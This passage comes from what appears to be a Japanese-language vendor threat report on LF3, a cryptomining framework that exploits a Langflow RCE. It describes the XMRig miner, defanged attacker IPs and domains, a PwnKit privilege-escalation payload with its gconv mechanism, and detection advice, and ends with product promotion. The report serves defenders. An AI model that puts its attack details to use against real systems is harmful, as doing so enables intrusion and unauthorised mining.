マイナーは、オープンソースのMoneroマイナーであるXMRig 6.22.2です。Alpine上でmuslを用いて静的にビルドされ、XMRigプロジェクト自身のビルドツリーパスを含んでいます。1月のチャネルはマイニングへのログイン時にバージョン6.25.0を名乗っており、攻撃者が上流リリースを追随していることが分かります。攻撃者のプールとウォレットアドレスはバイナリにコンパイルされておらず、どちらも起動時にローダから渡されます。そのため、ファミリの永続的な指標にはなりません。実行時の接続先は、8月の侵害では173[.]249[.]48[.]227のポート80、1月は攻撃者自身のSOCKSプロキシのポート1088でした。これらはキャンペーン単位で扱う必要があります。
マイニングへのログインには、リテラルのプレースホルダxとxを使用し、LFAI_の後にアドレスを続けたrig識別子を設定します。このアドレスが常に被害ホストを表すわけではありません。8月は侵害されたホストのパブリックIPでしたが、1月はローダがリモートホスト設定なしでプロキシ経由で動作していたため、攻撃者自身のプロキシアドレスでした。rig識別子が被害ホストを示すと決めつけないでください。
ルール作成者向けの注意点： このバイナリは標準のXMRigであるため、donate.v2.xmrig[.]comやrandomx.xmrig[.]comなど、上流プロジェクト自身の寄付用・ベンチマーク用エンドポイントを含みます。これらは攻撃者のインフラではなく、LF3の指標として扱うべきではありません。一方、このバイナリが設定済みプール以外へ通信しない前提で検出を作ると、初期設定の寄付時間帯に想定外の通信が生じます。
権限昇格ペイロードは、polkitの脆弱性「CVE-2021-4034」（PwnKit）に対するdzonerzyの公開PoCです。Go 1.17.6でビルドされた非stripバイナリで、作者自身のビルドパスが残っています。Go標準ライブラリ以外に、別の開発者のビルドツリーは一切ありません。この点は、攻撃者が公開ツールを再ビルドせず、作者が公開した状態のまま配信したことを示す有力な証拠です。バイトオフセット1,320,960には偽gconvモジュールが埋め込まれており、単体ファイルとバイト単位で一致することを確認しました。このエクスプロイトはGCONV_PATHとpkexecを通じてモジュールに到達します。
ここから2つの結論が得られます。配信された2つのELFは、どちらも何年も前から存在する公開ツールであるにもかかわらず、VirusTotalで未検出でした。そのため、ハッシュレピュテーションでは検出できません。認識されているのは、2022年4月から登録されている埋め込みgconvモジュールだけです。3ファイルをバイト単位で調べても、apt-updateへの参照、プロトコル文字列、ビルドシードは見つかりませんでした。LF3が配信するファイルには、LF3の痕跡が1つもありません。汎用マルウェアではなく、フレームワークを検出してください。
まとめ
TrendAI™のエージェント型エクスプロイト修復エンジンに加わった脅威ハンティングコンポーネントの初公開調査で、LF3が見つかりました。LF3は暗号資産マイニングフレームワークで、2台のセンサ、3件の侵害、4つのビルドチャネルにわたり1年以上活動していました。しかし、アドバイザリにも公開情報にも記録されていませんでした。複数のチャネルで共通する指標、すなわちapt-update[.]comドメイン、4種類のC&Cプロトコル、AES鍵、設定スキーマは、1年以上にわたる脅威ハンティングコンポーネントのハニーポット取得データだけから得られたものです。
TrendAI™のエージェント型エクスプロイト修復エンジンでは、脆弱性インテリジェンスコンポーネントが脆弱性について世の中で判明している情報を追跡し、自律的発見コンポーネントがソースコードを読み、どの脆弱性が悪用可能かを確認します。この3つのコンポーネントが連携することで、防御側は攻撃者が脆弱性を悪用しているか、どのように悪用しているか、成功した場合に何が起きるかを判断できるようになりました。LF3の発見が示すとおり、脅威ハンティングコンポーネントは従来の隔たりを埋めます。
TrendAI Vision One™ Threat Intelligence Hub
TrendAI Vision One™ Threat Intelligence Hubでは、新たな脅威と攻撃者に関する最新の知見、TrendAI™ Researchの戦略レポート、TrendAI Vision One™プラットフォーム上のTrendAI Vision One™ Threat Intelligence Feedを提供しています。
新たな脅威：
JADEPUFFER: Agentic ransomware for automated database extortion（JADEPUFFER：データベースへの恐喝を自動化するエージェント型ランサムウェア）
JADEPUFFER Deploys ENCFORGE Ransomware Against AI Infrastructure（JADEPUFFER、AIインフラにENCFORGEランサムウェアを展開）
LF3 Malware Framework Exploits Langflow RCE for Cryptomining and Persistence（LF3マルウェアフレームワーク、LangflowのRCEを悪用して暗号資産マイニングと永続化を実行）
TrendAI Vision One™インテリジェンスレポート（IoCスイープ）：
LF3 Malware Framework Exploits Langflow RCE for Cryptomining and Persistence（LF3マルウェアフレームワーク、LangflowのRCEを悪用して暗号資産マイニングと永続化を実行）
TrendAI Vision One™をご利用のお客さまは、この活動に関連する指標を取得し、自社環境を対象に過去へさかのぼってスイープできます。
侵入の痕跡（IoC: Indicators Of Compromise）
すべての指標は無害化済みです。共有インフラに関する注意点として、エンドポイントのマーカーと本文パターンは、このLangflowの基本機構を悪用するすべての攻撃者に共通するため、複数のファミリに一致します。LF3固有の指標として最も精度が高いのは、C&Cドメイン、4種類の呼び出しからなるプロトコル、設定スキーマです。
参考記事
TrendAI™ Advances Threat Hunting to Dynamic, Real-World Exploitation of AI Infrastructure
By : Deep Patel , Ashish Verma
翻訳：与那城 務（Platform Marketing, Trend Micro™ Research）